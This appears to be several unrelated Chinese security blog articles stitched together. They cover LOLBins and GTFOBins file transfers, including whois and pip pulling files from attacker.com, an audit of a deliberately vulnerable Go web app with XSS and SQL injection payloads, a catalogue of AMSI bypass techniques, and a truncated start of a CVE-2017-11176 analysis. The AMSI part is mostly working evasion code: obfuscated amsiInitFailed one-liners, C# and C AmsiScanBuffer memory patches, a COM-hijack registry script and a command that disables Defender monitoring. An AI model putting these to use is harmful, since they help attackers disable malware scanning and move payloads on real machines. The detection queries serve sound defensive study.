在sysmon中对其监控：
Event| where Source == "Microsoft-Windows-Sysmon"| where RenderedDescription
has "desktopimgdownldr.exe"| extend a = parse_xml(EventData)| extend
CommandLine =
tostring(parse_json(tostring(parse_json(tostring(parse_json(tostring(a.DataItem)).EventData)).Data))[10].["#text"])|
project TimeGenerated, CommandLine, Computer, EventData, RenderedDescription,
UserName
| sort by TimeGenerated desc
## CertReq
功能
certreq命令可用于从证书颁发机构（CA）请求证书，从CA检索对先前请求的响应，从.inf文件创建新请求，接受并安装对请求的响应，根据现有的CA证书或请求构造交叉认证或合格的从属请求，并签署交叉认证或合格的从属请求。
原本用于帮助windows进行证书认证。还能够作为上传，下载的重要工具。
用法
上传请求：
CertReq -Post -config https://example.org/ c:\windows\win.ini
下载POST请求，并显示内容（支持HTTP与HTTPS）：
CertReq -Post -config https://example.org/ c:\windows\win.ini
下载POST请求，并保存到本地（支持HTTP与HTTPS）：
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Debug
个人测试的时候小文件是可以直接下载，估计50多kb左右，大文件会报错。
小文件：
大文件：
建议
在sysmon中对其进行监控其中的json内容：
Event| where Source == "Microsoft-Windows-Sysmon" and RenderedDescription has
"OriginalFileName: CertReq.exe"| extend EventFullData = parse_xml(EventData)|
parse EventData with * 'OriginalFileName">'OriginalFileName '</Data>'*|
parse EventData with * 'CommandLine">'Commandline '</Data>'*| project
TimeGenerated, OriginalFileName, Commandline, Computer, EventID, UserName,
EventFullData
| sort by TimeGenerated desc
## Unix-GTFOBins
windows有LOLbins，Unix下当然也有。
whois用法
攻击机器监听
nc -l -p 12345 < "file_to_send"
靶机
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT > "$LFILE"
同理也能传递二进制文件，进行base64位编码。
base64 "file_to_send" | nc -l -p 12345
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"
PIP用法
利用php install来下载文件。
export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip install $TF
## 总结
LOLbins在实际攻击中除了上面说的下载功能，往往还有很多功能。比如REVERSESHELL,Sudo，SUID，Execute，其中某些bins在AWLpypass有奇效。在红队行动和APT攻击上有着不可忽视的作用。
参考链接：
https://lolbas-project.github.io/
https://github.com/LOLBAS-Project/LOLBAS
> [Living Off Windows Land – A New Native File “downldr”](https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/)
https://docs.microsoft.com/en-us/windows/win32/cossdk/the-com--catalog
https://github.com/WojciechLesicki/TH/blob/master/KQL-queries.txt
https://gtfobins.github.io/ | 社区文章 |
## 说在前面
平台的漏洞是比较偏基础的，很多内容都是简单傻瓜式的漏洞。但尽管如此，这个平台用来了解go语言的web流程还是可以的。
项目地址：[Vulnerability-goapp](https://github.com/Snow-HardWolf/Vulnerability-goapp)
Ps：项目中的docker环境我搭不起来，总是报错。所以是直接把源码下载到本机windows环境下自己改了源码搭的。
## 熟悉架构
### 文件结构
一些比较重要的文件夹与文件：
* pkg 平台各功能的源码都在这个目录
* views html模板目录
* main.go 主程序
`/login`页面：
### 一个页面的渲染过程
主程序先从pkg中引入各功能模块
在main函数中定义路由，可以从这里通过功能定位函数
以`/login`页面为例，对应的函数是login.Login。跟踪到`pkg/login/login.go`。然后来看下这个函数的整个过程是怎么样的。
func Login(w http.ResponseWriter, r *http.Request) { // r为请求对象，w为返回对象
fmt.Println("method ", r.Method) // 通过r.Method获取请求的方式
if r.Method == "GET" {
if cookie.CheckSessionID(r) { // 通过CheckSessionID函数检查是否登录
http.Redirect(w, r, "/top", 302) // 登录了就直接跳转到top
} else {
t, _ := template.ParseFiles("./views/public/login.gtpl") // 读入模板文件
t.Execute(w, nil) // 模板解析并返回
}
} else if r.Method == "POST" {
r.ParseForm() // 解析获取到的数据，GET/POST解析都要有这个语句才能使用r.Form[]
if isZeroString(r.FormValue("mail")) && isZeroString(r.FormValue("passwd")) {
fmt.Println("passwd", r.Form["passwd"])
fmt.Println("mail", r.Form["mail"])
// r.FormValue和r.Form的区别是前者只获取同名的第一个数据值，后者会返回一个slice(数组形式)
mail := r.FormValue("mail")
id := SearchID(mail) // 通过邮箱获取一个用户id
if id != 0 {
passwd := r.FormValue("passwd")
name := CheckPasswd(id, passwd) // 验证密码
if name != "" { // 如果登录成功
fmt.Println(name)
t, _ := template.ParseFiles("./views/public/logined.gtpl") // 读入logined.gtpl模板
encodeMail := base64.StdEncoding.EncodeToString([]byte(mail))
fmt.Println(encodeMail)
cookieSID := &http.Cookie{
Name: "SessionID",
Value: encodeMail,
}
cookieUserName := &http.Cookie{
Name: "UserName",
Value: name,
}
StoreSID(id, encodeMail)
http.SetCookie(w, cookieUserName)
http.SetCookie(w, cookieSID)
// 以上部分是设置Cookies
p := Person{UserName: name} // 这里定义了p，传递到模板中进行解析
t.Execute(w, p) // 模板解析
} else {
fmt.Println(name)
t, _ := template.ParseFiles("./views/public/error.gtpl")
t.Execute(w, nil)
}
} else {
t, _ := template.ParseFiles("./views/public/error.gtpl")
t.Execute(w, nil)
}
} else {
fmt.Println("username or passwd are empty")
outErrorPage(w)
}
} else {
http.NotFound(w, nil)
}
}
如果登录成功，`p := Person{UserName: name}`
p传递到了模板中，再来看下`/views/public/logined.gtpl`模板是怎么解析的：
<!doctype html>
<html lang="ja">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
<title>Login successful!</title>
</head>
<link rel="stylesheet" href="./assets/css/style.css" type="text/css">
<body>
<div class="center">
<p class="display-1 text-center">Login successful !!!!</p>
<p class="display-1 text-center">Welcome , {{.UserName}} !!</p>
<h2><a href="/top">Top Page</a></h2>
</div>
</body>
</html>
可以看到，这里使用了`{{.UserName}}`来读取p中的UserName的值并将其替换。最终作为返回数据返回。所以在传递到模板之后只会进行替换，不会进行转义或其他过滤操作。
## XSS
### 首页反射型XSS
漏洞点源码：main.go
func sayYourName(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
fmt.Println(r.Form)
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println("r.Form", r.Form)
fmt.Println("r.Form[name]", r.Form["name"])
var Name string
for k, v := range r.Form { // 循环获取GET与POST参数与参数值
fmt.Println("key:", k)
Name = strings.Join(v, ",") // 将多个定义的参数进行拼接
}
fmt.Println(Name)
fmt.Fprintf(w, Name)
}
访问主页就是调用的`sayYourName`，可以看到最后返回的是Name的内容，Name是在for循环当中，将最后一个参数赋值得到的。(如果参数有多个定义，则会使用","连接)
传递期间并没有进行过滤，所以造成xss漏洞。
POC：<http://127.0.0.1/?test=%3Cscript%3Ealert(%22Threezh1%22)%3C/script%3E>
### 注册处储存型XSS
注册处源码：pkg/register/register.go
func RegisterUser(r *http.Request) bool {
db, err := sql.Open("mysql", "root:root@tcp(127.0.0.1:3306)/vulnapp")
if err != nil {
log.Fatal(err)
}
age, err := strconv.Atoi(r.FormValue("age"))
if err != nil {
fmt.Println(err)
return false
}
_, err = db.Exec("insert into user (name,mail,age,passwd) value(?,?,?,?)", r.FormValue("name"), r.FormValue("mail"), age, r.FormValue("passwd")) // value值都是从FormValue当中获取的
if err != nil {
fmt.Println(err)
return false
}
return true
}
从源码中可以知道，插入到数据库的数据是直接从表单提交的数据中获取的。期间并没有经过过滤。虽然经过了一个换位符的处理，但是对xss的payload起不到过滤的效果。
注册时使用用户名：`test<script>alert(1)</script>` 登录后即可弹窗
### 后台Profile处多个储存型XSS
后台Profile处可以修改个人信息，Name、Address、Favorite Animal、Word三处内容都可以造成储存型XSS。
pkg/user/usermanager.go：
func UpdateUserDetails(w http.ResponseWriter, r *http.Request) {
// 部分源码经过省略
_, err = db.Exec("insert into vulnapp.userdetails (uid,userimage,address,animal,word) values (?,?,?,?,?)", uid, "noimage.png", address, animal, word)
if err != nil {
fmt.Printf("%+v\n", err)
http.NotFound(w, nil)
return
}
}
// 部分源码经过省略
原因跟注册处的储存型XSS一样，都是没有经过严格的过滤而导致的。
复现：直接将内容修改为XSS Payload即可
### 后台TimeLine处储存型XSS漏洞
TimeLine是一个类似于留言板的地方，而传入留言板的内容也没有经过过滤直接储存到数据库内。最后渲染出来造成XSS漏洞。
pkg/post/post.go：
func ShowAddPostPage(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
// 代码经过省略
} else if r.Method == "POST" {
if cookie.CheckSessionID(r) {
// 代码经过省略
postText := r.FormValue("post")
fmt.Println(reflect.TypeOf(postText))
StorePost(uid, postText) // 传递到这
http.Redirect(w, r, "/post", 301)
}
} else {
http.NotFound(w, nil)
}
}
跟踪`StorePost()`：
func StorePost(uid int, postText string) {
db, err := sql.Open("mysql", "root:root@tcp(127.0.0.1:3306)/vulnapp")
if err != nil {
fmt.Printf("%+v\n", err)
return
}
defer db.Close()
_, err = db.Exec("insert into vulnapp.posts(uid,post) values (?,?)", uid, postText) // 前面都没有经过过滤
if err != nil {
fmt.Printf("%+v\n", err)
return
}
}
原因跟前面的XSS一样，都是没有经过严格的过滤而导致的。
复现：在文本框中输入XSS Payload即可
## SQL注入
在这个系统当中，大部分传递SQL语句是这样传递的：
if err := db.QueryRow("select id from user where mail=?", mail).Scan(&userID); err != nil {
fmt.Println("no set :", err)
}
log.Println(userID)
语句的"?"相当于一个占位符，将第二个参数mail替换过去。而替换过去的mail会被转义。相当于经过了一次`addslashes()`处理。
比如我给mail定义：`[email protected]' and if(1=1,sleep(5),1)#` 那最终会被执行的SQL语句如下：
`select id from user where mail='[email protected]\' and if(1=1,sleep(5),1)#'`
所以，如果要去寻找SQL注入漏洞的话，就得去寻找没有过滤并且是字符串之间直接拼接的点。
### 后台TimeLine搜索处存在SQL注入漏洞
pkg/search/search.go：
func SearchPosts(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
searchWord := r.FormValue("post")
fmt.Println("value : ", searchWord)
testStr := "mysql -h 127.0.0.1 -u root -proot -e 'select post,created_at from vulnapp.posts where post like \"%" + searchWord + "%\"'"
fmt.Println(testStr)
testres, err := exec.Command("sh", "-c", testStr).Output()
// 部分源码经过省略
} else {
http.NotFound(w, nil)
}
}
从testStr赋值处可以看到，这里的SQL语句是直接用`+`进行拼接的，没有使用"?"进行替换。所以这里能够直接构造Payload进行SQL注入。
复现：TimeLine搜索内容：`123%" and if(sleep(5),1,1)#` 页面延迟，构造其他语句就可以进一步进行利用。
## 任意文件上传
### 后台头像上传处存在任意文件上传漏洞
在后台Profile处可以上传头像，但是对文件名及文件内容没有经过过滤。导致任意任意文件上传。具体代码如下：
pkg/image/imageUploader.go
func UploadImage(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
// 部分源码经过省略
if cookie.CheckSessionID(r) {
file, handler, err := r.FormFile("uploadfile") // 获取文件数据
if err != nil {
fmt.Printf("%+v\n", err)
return
}
defer file.Close()
f, err := os.OpenFile("./assets/img/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
// 创建一个文件
if err != nil {
fmt.Printf("%+v\n", err)
return
}
defer f.Close()
io.Copy(f, file) // 将获取到的文件数据写入到本地创建的那个文件中去
UpdateDatabase(r, handler.Filename) // 更新数据库中的用户信息
http.Redirect(w, r, "/profile", 301)
}
} else {
http.NotFound(w, nil)
}
}
漏洞复现：直接用Brupsuite抓包可以修改上传的地址。
问题来了，怎么进行Getshell呢？Go语言跟PHP不太一样，它没有类似一句话这样的“工具”。并且要通过路由定义才能够通过web访问到。我最初的想法是能不能覆盖一个路由中已有的函数文件，通过修改函数中的语句来达到命令执行的效果。但在参考文章中有一个的方式更加方便，就是通过修改crontabs定时任务来进行利用。如图：
(图片取自参考文章内)
这次搭建的题目环境是windows，配置linux环境太麻烦，就不复现了(怕了配置环境)。
## 命令执行
### 管理员后台处存在命令执行漏洞
首先来看`pkg/admin/admin.go`中的ShowAdminPage函数
func ShowAdminPage(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
adminSID, err := r.Cookie("adminSID") // 通过Cookie获取adminSID
if err != nil {
fmt.Printf("%+v\n", err)
}
fmt.Println(adminSID.Value)
adminUid, err := GetAdminSid(adminSID.Value) // 调用了GetAdminSid
// 部分源码经过省略
} else {
http.NotFound(w, nil)
}
}
继续跟踪GetAdminSid：
func GetAdminSid(adminSessionCookie string) (results string, err error) {
commandLine := "mysql -h mysql -u root -prootwolf -e 'select adminsid from vulnapp.adminsessions where adminsessionid=\"" + adminSessionCookie + "\";'"
res, err := exec.Command("sh", "-c", commandLine).Output()
if err != nil {
fmt.Println(err)
}
results = string(res)
if results != "" {
return results, nil
}
err = xerrors.New("recode was not set")
return "", err
}
可以看到，commandLine是会被传递到exec.Command命令当中去执行命令，而commandLine中的语句，是直接通过与adminSessionCookie进行拼接得到的，没有经过任何的过滤。所以这里造成了命令执行漏洞。
同样的问题，在admin/confirm.go的也是造成了命令执行漏洞。
## CSRF漏洞
### 后台多处存在CSRF漏洞
先来看`pkg./user/usermanager.go`中的`ConfirmPasswdChange`函数
func ConfirmPasswdChange(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
if cookie.CheckSessionID(r) {
if r.Referer() == "http://127.0.0.1/profile/changepasswd" {
// 接着进行修改密码的操作
} else {
http.NotFound(w, nil)
}
}
可以看到，这里是限制了Referer只能为`http://127.0.0.1/profile/changepasswd`所以这里是没有CSRF的，但是整个后台，除了修改密码处验证了Referer，其他修改内容功能的点都没有验证，因此都存在CSRF漏洞。比如Profie用户信息修改，TimeLine发送留言等。
比如TimeLine发送留言：
直接用Brupsuite构造CSRF的poc即可。
## 参考
* [Go Web 编程](https://astaxie.gitbooks.io/build-web-application-with-golang/zh/)
* [Go语言代码安全审计分享](https://mp.weixin.qq.com/s/8Ju05hYCYk6bOgkvjtP11A) | 社区文章 |
# 初探 Windows AMSI （反恶意软件扫描接口）
## 什么是AMSI
<https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal>
Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准，允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI
为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。
> 在Windows Server 2016和Win10上默认安装并启用。
AMSI 与反恶意软件供应商无关；
**它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP
信誉检查和其他技术的调用结构。**
AMSI
还支持会话的概念，以便反恶意软件供应商可以关联不同的扫描请求。例如，可以将恶意负载的不同片段关联起来做出更明智的决定，而仅通过孤立地查看这些片段就很难做出决定。
> 从 Windows 10 版本 1903 开始，如果您的 AMSI 提供程序 DLL 未经过验证码签名，则可能无法加载它（取决于主机的配置方式）。
AMSI全称（Antimalware Scan
Interface），反恶意软件扫描接口，他的本体是一个DLL文件，存在于`c:\windows\system32\amsi.dll`。它提供了通用的标准接口（COM接口、Win32
API）。这些接口中Win32
API是为正常应用程序提供的，方便正常程序调用这些API针对用户输入做扫描。其中的COM接口，是为杀软供应商提供的，方便杀软厂商接入自身针对恶意软件的识别能力。
## 与AMSI 集成的Windows 组件
AMSI 功能已集成到 Windows 10 的这些组件中。
* 用户帐户控制或 UAC（EXE、COM、MSI 或 ActiveX 安装的提升）
* PowerShell（脚本、交互使用和动态代码评估）
* Windows 脚本宿主（wscript.exe 和 cscript.exe）
* JavaScript 和 VBScript
* Office VBA 宏（VBE7.dll）
* .NET Assembly（clr.dd）
* WMI
## AMSI 检测内容
* 文件
* 内存
* 数据流
## AMSI 检测目的
* 对抗基于脚本的攻击检测
* 对抗无文件攻击检测
## 可检测的攻击
* Powershell.exe执行的脚本
* 不使用powershell.exe的情况下运行脚本
* 使用单独的runspace（p0wnedshell，psattack）
* System.Automation.Dll（nps，Powerpick）
* 从WMI命名空间、注册表键和事件记录日志中加载脚本
* 应用白名单绕过方式－InstallUtil,，regsrv32和rundll32。
## AMSI 工作原理
AMSI不是独立运行的，而是一种可交互接口。
### AMSI与Windows Defender的关系
* 创建PowerShell进程时，AMSI.DLL将从磁盘加载到其内存地址空间。
* 在AMSI.DLL中，有一个名为AmsiScanBuffer()的函数，是用来扫描脚本内容的函数。
* 在PowerShell中执行命令时，任何内容都将首先发送到AmsiScanBuffer()，然后再执行。
* 随后，AmsiScanBuffer()将Windows Defender检查，以确定是否创建了任何签名。
* 如果该内容被认为是恶意的，它将被阻止运行。
Windows Defender ATP主要使用机器学习，通过模型发现威胁。
AMSI是与Windows Defender相对独立的模块，Windows Defender是默认的 AMSI Provider。
### 整体框架
## AMSI 主要执行流程
1. 应用开发者使用AMSI API检测
图中蓝色表示订阅AMSI事件的安全软件，也就是AMSI提供器。在脚本引擎Powershell(
System.Management.Automation.dll) 和 Windows Script
Host(Jscript.dll)执行内容时，他们会通过amsi.dll的导出函数把内容传给AMSI提供器。
这里曾经出现一个安全漏洞，零字符截断绕过AMSI检测，流程如下：
恶意代码evilcode由于字符串截断没有送入到ASMI Provider中进行安全检查。
1. 安全产品供应商使用的检测接口
## ByPass AMSI 技术汇总
来源：公鸡队之家社群
### 降级
> PowerShell v2版不支持AMSI，作为常用手段，将目标主机中的PowerShell降级至PowerShell v2简单快捷。
从防守的角度看要尽可能避免使用 PowerShell v2，因为它提供了不记录日志的功能，理想情况下应该部署 PowerShell v5.x
或更高版本，因为它提供了更好的日志记录功能。
在 powershell 的命令中添加 -version 参数就可以不在 powershell 事件日志中留下任何记录。由于 powershell
在执行命令的时候，只要参数不冲突就可以自动补全参数名称，比如 -version 就可以用 -v来代替。
这里出现了一个问题，`.NET` 版本又对不上了，需要3.5版本的。
<https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/starting-the-windows-powershell-2.0-engine?view=powershell-7.1>
<https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-the-windows-powershell-2.0-engine?view=powershell-7.1>
`.net` 是可以静默安装的，但是如果是普通的域内机器，安装要弹出UAC，这一点也需要注意的。
静默安装参数：
/Q /NORESTART /lcid 1033
### 混淆
> 通过增强混淆程度来绕过AMSI
1. 拆分之后拼接（现在可能大部分脚本会失效）
2. XOR\Base64编码
3. 进制转换
4. 利用混淆工具混淆 (<https://amsi.fail/>)
最早的绕过AMSI的方法是16年一个老外发布的，命令如下
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
用上面的方法来试试绕过：
$config_a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$config_b = $config_a.GetField('amsiInitFailed','NonPublic,Static')
$config_b.SetValue($null,$true)
然而前两行依然被杀。
重新调整顺序，成功绕过amsi
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)
base64\hex:
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
### 利用反射将内存中AmsiScanBuffer方法的检测长度置为0
>
> 这种方法并没有实际的绕过，而是禁用了AMSI，从powershell3.0开始，我们要完全绕过AMSI并执行任意powershell脚本的话，就需要完全禁用它
这是原作者的代码，把如下代码编译成C#的DLL，使用反射加载技术(已经修改namespace 和 类名)
using System;
using System.Runtime.InteropServices;
namespace Help
{
public class Test
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
return 1;
}
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
return 1;
}
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
return 1;
}
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("AmsiScanBuffer patch has been applied.");
return 0;
}
}
}
<https://github.com/RythmStick/AMSITrigger>
利用上面工具可以定位amsi 查杀了那些内容，出于学习效率，这里直接给出原文的答案：
* "Bypass-amsi" 特征
* 部分base64编码的数据
如何解决：
* 修改C# 源码中的namespace 和 public 类名
* 加载base64 改为 加载byte数组再到base64再还原
$string = ''
$a = [System.Convert]::FromBase64String('你的base64编码')
$a | foreach {$string = $string + $_.ToString()+','}
$string
function Help-Test
{
if(-not ([System.Management.Automation.PSTypeName]"Help.Test").Type) {
[Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null
Write-Output "DLL has been reflected";
}
[Help.Test]::Disable();
}
最后效果
### 禁用AMSI
#### 修改注册表
将`HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable`的表项值置为0。
#### 关闭Windows Defender使系统自带的AMSI检测无效化。
需要管理员权限
Set-MpPreference -DisableRealtimeMonitoring $true
### DLL劫持（卸载amsi.dll）
应用程序导入DLL优先级（Windows XP SP2以后版本）:
* 进程对应的应用程序所在目录；
* 系统目录（通过 GetSystemDirectory 获取）；
* 16位系统目录；
* Windows目录（通过 GetWindowsDirectory 获取）；
* 当前目录；
* PATH环境变量中的各个目录；
利用与应用程序同级的目录的dll会被优先加载的特性。我们在`C:\Windows\System32\WindowsPowerShell\v1.0`下放置一个伪造AMSI.dll，就可以实现DLL劫持，而不会调用系统的amsi.dll（`C:\Windows\System32\asmi.dll`,
如下）。
这种方法需要管理员权限（UAC）,直接简单随意伪造`amsi.dll`会使得powershell无法正常加载。需要自己改一个阉割版本的
### COM劫持
这种方法在Build＃16232中的“深度防御”补丁修复
> 寻找优先加载并无效的COM表项，在注册表中将Provider的路径指向到无效路径。这样，Powershell中的AMSI功能将无法加载，从而失效。
>
> AMSI的扫描功能似乎是通过自己的COM服务器来实现的，当COM服务器被实例化时会被暴露出来。当AMSI加载时，它实例化其自有的COM组件，并暴露了诸如amsi！AmsiOpenSession，amsi！AmsiScanBuffer，amsi！AmsiScanString和amsi！AmsiCloseSession之类的方法。如果我们强制COM实例化失败，AMSI将无法访问扫描恶意内容所需的方法。
由于COM服务器首先通过HKCU配置单元进行解析，因此普通用户可以劫持InProcServer32密钥并注册不存在的DLL（或者如果你也可以执行恶意的代码）。为了做到这一点，有两个注册表项需要处理：
echo Windows Registry Editor Version 5.00 > bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}] >> bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32] >> bypass.reg
echo @=“C:\\”IDontExist.dll" >> bypass.reg
regedit /s bypass.reg
> 尽管在构建＃16232补丁中进行了修复，但仍然可以通过使用旧的，易受攻击的AMSI
> DLL执行DLL劫持来执行此操作。为了检测这种攻击手法，监视对于在其正常目录之外执行的任何二进制文件（wscript，cscript，PowerShell）（通过命令行日志记录等）是比较理想的方法。由于绕过修复程序需要将二进制文件移动到用户可写位置，所以在非标准位置执行这些命令就可以抓住这一攻击行为。
### 内存补丁技术
<https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi>
我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的，而内存补丁是一种较为便捷的技术，我们可以对这个函数进行修补，使其丧失判断能力，这样我们就能自由执行任意powershell脚本，当然前提是脚本文件没有被杀软干掉。
实现方式有很多种，如注入一个内存修补功能的dll、获取amsiscanbuffer函数地址使用winapi进行修补。
这里我们使用获取函数地址对其进行修补，流程如下：
* 创建一个powershell进程
* 获取amsiscanbuffer函数地址
* 修改函数内存空间属性
* 修补函数执行体
采用新创建的powershell进行修补:
#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}
编译运行即可绕过，但是发现直接在powershell中运行生成的exe还是会被windwos defender 查杀，应该是代码特征太明显了。
手工操作，等我学一些二进制调试技术吧。
## Defense
* 开启全部系统日志并分析;
* 至少开启Powershell脚本块，Sysmon和进程创建日志;
* 安装4.0以上版本Powershell;
* 卸载或者禁用2.0版本Powershell;
* 开启Powershell的相关安全机制如APPLocker，Device Guard, Credential Guard 等;
* 使用AMSI并关注绕过技术.
* Windows 10 1709以后，如果AMSI提供程序依赖于同目录下其他DLL同时加载，将不能工作。
* Windows 10 1903以后，AMSI提供商DLL没有Authenticode-signed，可能将不能加载。这个取决于注册表：Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits的值，默认0x01,签名检测被禁止。也就是说微软增加了这个功能但没有默认开启
* 提醒杀软监控注册表“HKCU\Software\Microsoft\Windows\Script\Settings\AmsiEnable”的值
## 参考
* [初探Powershell与AMSI检测对抗技术](https://www.anquanke.com/post/id/168210)
* 公鸡队之家 by LN
* [Windows 常用软件的静默安装参数](https://auspbro.github.io/2017/09/25/Windows-%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6%E7%9A%84%E9%9D%99%E9%BB%98%E5%AE%89%E8%A3%85%E5%8F%82%E6%95%B0/)
* [基于内存补丁的AMSI绕过](https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi)
* [绕过AMSI的全套操作过程](https://www.4hou.com/posts/GYJ8)
* [AMSI 浅析及绕过](https://sec-in.com/article/1115)
* [一种劫持COM服务器并绕过微软反恶意软件扫描接口(AMSI)的方法](https://www.4hou.com/posts/E9Em) | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/fb5MM7q9k3U1Ni5JoIvxaQ>**
### 1\. **漏洞背景**
Linux内核中的POSIX
消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。本文将从漏洞成因、补丁分析以及漏洞复现等多个角度对该漏洞进行详细分析。
### 2\. **漏洞分析**
Posix消息队列允许异步事件通知，当往一个空队列放置一个消息时，Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现，mq_notify为指定队列建立或删除异步通知。由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL，可能导致UAF漏洞。
从补丁代码可知，将sock设置为NULL即可。
接下来看看漏洞起因，这里以4.1.0版本源码为例。
在mq_notify函数中，
u_notification是从用户层传进来的，1193行判断u_notification是否为空，如果非空，通过copy_from_user将u_notification中
的数据拷贝到notification中，这里将数据从用户层拷贝到了内核层。如果拷贝失败，直接退出。
接下来，nc和sock分别置空。行1203，如果u_notification不为空，首先依次判断notification.sigev_notify必须为SIGEV_NONE或SIGEV_SIGNAL或SIGEV_THREAD。如果notification.sigev_notify为SIGEV_SIGNAL，就判断该信号是否合法。
